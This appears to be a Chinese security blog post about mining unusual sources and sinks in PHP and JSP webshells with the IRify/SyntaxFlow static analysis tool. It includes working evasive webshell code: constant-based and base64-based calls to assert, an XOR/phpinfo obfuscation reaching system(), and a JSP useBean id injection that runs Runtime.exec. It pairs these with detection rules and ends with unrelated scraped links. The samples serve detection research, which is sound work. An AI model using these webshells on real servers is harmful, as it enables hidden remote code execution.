当前位置: 首页 > news >正文

用 IRify 深入探索 WebShell 中的 Source/Sink 挖掘

图片

图片

图片

图片

?()表达式:

在之前的规则中,常常会像下面这样写。

__GET as $sourceaa(* #{include: <<<CODE* & $sourceCODE}-> as $sink)

比较诟病的是,这样找到的sink 点并非真正的sink 点,而是topdef之后的结果。?()的出现类似于?{},都是对中间结果进行过滤,然后影响结果的值。

样例:

<?phpa(1,2);a($a,2);//参数中含有consta?(*?{opcode: const}) as $sink//参数1为consta?(*?{opcode: const},) as $sink//参数1,2均为consta?(*?{opcode: const},*?{opcode: const}) as $sink

图片

Webshell 大家并不陌生,无论是红蓝中对 webshell 的检测还是免杀,也是老生常谈的问题。在2023年,我也参加过伏魔挑战赛,我也会用一部分我对 webshell 的理解和 ssa 结合,重新对 WebShell 审视 source  和 sink ,并且针对 WebShell 实现一些规则。

在 PHP 漏洞挖掘的过程中,我们常常认为 Source 点为 $_GET$_POST$_REQUESTheaders 等一系列全局可控函数,sink 点尝尝为 evalsystem 等一系列常见的代码执行 /命令执行的代码中,但是在 PHP 是动态运行。支持 php 中的常见间接函数调用。

图片

那么从 WebShell 的编写来说,我们常常需要绕过一些常规的 Sink 点,像REQUESTPOSTGET 等一些常规的 source 点都会被 ban 掉,那么是否存在一些冷门的 source 点呢?

冷门 source 点:
  • phpinfo()

phpinfo中,会打印出这次请求的全部信息,可以当作一个非常规source点去用。

图片

图片

冷门 sink 点:

因为 php 中支持间接的函数调用,而 (MY_CONST) 作为一个括号表达式,会先进行计算返回常量字符串,然后会在 zendVM 的函数表中进行查找。

<?phpdefine('MY_CONST', 'phpinfo');// 直接调用常量名作为函数,报错MY_CONST(); // ❌ 错误:Call to undefined function MY_CONST()(MY_CONST)(); // ✅ 正确调用 phpinfo() 函数
数据流污染:

光靠冷门的 source 和 sink 其实也难以绕过,还需要实现数据流的污染,在静态分析翻译的过程中,难点在于全局变量、全局常量、静态变量、静态常量。特点是:数据的精确度受到函数调用关系的影响,而静态分析的过程中,我们又常常无法去精确的知道两个函数之间的调用顺序,和入口点也有极大关系。

这里我选择使用了 define 来做数据流的混淆:

​​​​​​​

<?phpnamespace DemoInfo {    define("DEMO", (new Demo())->invokeMethod());    function xorencrypt($str, $key)    {        $slen = strlen($str);        $klen = strlen($key);        $cipher = '';        for ($i = 0; $i < $slen; $i = $i + $klen) {            $cipher .= substr($str, $i, $klen) ^ $key;        }        return $cipher;    }    class Demo    {        private $content;        public function __construct()        {            ob_start();            phpinfo();            $this->content = ob_get_contents();            ob_end_clean();        }        public function invokeMethod()        {            preg_match("/1'\]<\/td><td class=\"v\">(.*?)<\/td><\/tr>/i", $this->content, $matches);            return $matches[1];        }    }}

webshell 样例:​​​​​​​

<?phpnamespace DemoInfo {    define("DEMO", (new Demo())->invokeMethod());    function xorencrypt($str, $key)    {        $slen = strlen($str);        $klen = strlen($key);        $cipher = '';        for ($i = 0; $i < $slen; $i = $i + $klen) {            $cipher .= substr($str, $i, $klen) ^ $key;        }        return $cipher;    }    class Demo    {        private $content;        public function __construct()        {            ob_start();            phpinfo();            $this->content = ob_get_contents();            ob_end_clean();        }        public function invokeMethod()        {            preg_match("/1'\]<\/td><td class=\"v\">(.*?)<\/td><\/tr>/i", $this->content, $matches);            return $matches[1];        }    }}namespace {    use DemoInfo\Demo;    use function DemoInfo\xorencrypt;    define("DEMO2", (xorencrypt("PBBTCE", "1")));    define("DEMO", (new Demo())->invokeMethod());    (DEMO2)(\DEMO);}

图片

在 jsp 中,和 php 会有所不同,jsp 会 <%!%> 会被翻译成class,而 <%%> 中的内容会被翻译到 _jspService 方法中。在我前一段时间的研究中发现,jsp 在翻译成 .java 的时候,会在底层有一些鸡肋的处理。比如:

图片

他在翻译的时候,会将标签解析成 AST 抽象语法树,然后再通过StringBuilder “拼接” 成一个 .java 文件,然后再进行编译。那这样的话,其实有非常多的 bypass 技巧和方法。我在翻了几个 AST 翻译过程时发现,有些会被拦掉,但有些并不会。这块会直接拿到 id 中的内容,然后直接写入到 .java 中,可以实现代码注入。

图片

图片

Webshell demo:​​​​​​​

<jsp:useBean id="a=null;java.lang.Runtime.getRuntime().exec(\"open -a calculator\");/*" class="org.aa.test"/>  <%*/out.print(1);%>

图片

因为 WebShell 中的 source 和 sink 都做了很多污染,也利用了一些冷门的特性。只能找一些通用的共同点,提供一些通用的思路检测。

call method 检测:检查 call method 是否为常量。

在 php 中,会有一些常见的检测思路,检查是否用了非“常规”的 call method。比如:是否用了常量。

*?{opcode: call} as $call$call?{<getCallee>?{opcode: const}} as $sink//DEMO: <?phpdefine("aa","assert");(aa)($_GET);
检查 call method 类型是否是 call:
<?phpdefine("aa","YXNzZXJ0");base64_decode(aa)();/**?{opcode: call} as $call$call<getCallee>?{opcode: call} as $sink*/
检查 call method 类型是否是 call:

Call param 检测:

检查 callParam 中,是否经过某些特定函数。比如在上述中的 php webshell 中,我们可以检测是否经过 ob_get_contents 然后再去遍历该块中的所有指令。一条可能检查的规则如下:​​​​​​​

*?{opcode: call} as $call/(?i)phpinfo/() as $sinkob_get_contents?{<self><scanInstruction(include:<<<CODE* & $sinkCODE)>} as $evil$call?{<getCallee>?(* #{include: <<<CODE* & $evilCODE}->)} as $sink

图片

在上面讲到了 java 和 php webshell 中常见的 source 点,在平时的漏洞挖掘中,是否也同样存在呢?

我在前一段时间中,碰到过这么一段代码:

​​​​​​​

    if (request()->isPost()) {        $post = request()->post();        $post['id'] = get_admin_id();        if ($this->model->update($post)) {            return $this->success();        }        return $this->error();    }    $data = $this->model->find(get_admin_id());    if (!empty($data['group_id'])) {        $group = AdminGroupModel::field('title')            ->whereIn('id', $data['group_id'])            ->select()            ->toArray();        foreach ($group as $key => $value) {            $title[$key] = $value['title'];        }    }    $data['jobs'] = Jobs::where('id', $data['jobs_id'])->value('title');    $data['group'] = implode('-', $title);    $data['tags'] = empty($data['tags']) ? $data['tags'] : unserialize($data['tags']);

是可以执行反序列化,数据是从数据库查询回来,而数据该字段又可以自主控制,那么这个时候,我们还认为这个是一个常规 source 点嘛?

这一类问题可以抽象成 经过中间环境后变成 B,是否还可以当成一个 source 点?

这个会取决于,是否可控,如果 可控,那么 有可能会成为一个 source 点,A 如果不可控,B 大概不会成为一个 source 点。

所以这段代码中,最后会写成( syntaxflow 表达冷门 source 点):

​​​​​​​

./where|find|select/ as $sourceunserialize?(* #{include: <<<CODE* & $sourceCODE}->) as $sink

图片

在后面也许会支持一些 webshell 的通用检查规则,去编写每种语言的一些通用规则。另外,在漏洞挖掘中,目前的内置规则中是覆盖了大部分情况,但由于代码的多样性,可能需要用户对某些特定的代码环境进行特定的编写,而对于冷门的 source 点,通常需要找到“中间环境”,比如:envcache 等。

END

  YAK官方资源 

Yak 语言官方教程:
https://yaklang.com/docs/intro/
Yakit 视频教程:
https://space.bilibili.com/437503777
Github下载地址:
https://github.com/yaklang/yakit
Yakit官网下载地址:
https://yaklang.com/
Yakit安装文档:
https://yaklang.com/products/download_and_install
Yakit使用文档:
https://yaklang.com/products/intro/
常见问题速查:
https://yaklang.com/products/FAQ
​​​​​​​​​​​​​​

相关文章:

  • C# ConcurrentDictionary 中获取指定范围的元素
  • 解密Spring Boot:深入理解条件装配与条件注解
  • 教师端用户操作手册
  • 使用 C/C++、OpenCV 和 Libevent 构建联网人脸识别考勤系统 [特殊字符]‍[特殊字符]
  • docker和docker-compose的版本对应关系怎么看?
  • 顶顶通电话机器人功能列表
  • Spring Security是如何完成身份认证的?
  • 紫光展锐T8300以创新音频技术重塑感知世界
  • kafka-生产者(day-2)
  • python打卡第49天
  • 康谋方案 | 高精LiDAR+神经渲染3DGS的完美融合实践
  • 提升电子商务平台安全的有效策略
  • SSD,emmc 的写放大
  • k8s在节点上加污点
  • argocd部署cli工具并添加k8s集群
  • 数据安全进阶:30页数据安全管理培训精读【附全文阅读】
  • 跨域的本质与实战:从理论到松鼠短视频系统的演进-优雅草卓伊凡|卢健bigniu
  • window 显示驱动开发-如何查询视频处理功能(六)
  • 【Bluedroid】蓝牙启动之 RFCOMM_Init 流程源码解析
  • Android 默认第三方app运行权限(android11-13)
  • 长春建站网站模板/数字化营销怎么做
  • 自建站和独立站/网站域名综合查询
  • 靠谱网站建设公司价格多少/沈阳头条今日头条新闻最新消息
  • 网站为什么被降权/慧聪网
  • 长沙最大的广告公司/seo顾问阿亮
  • 智能科技网站模板下载/百度推广怎么联系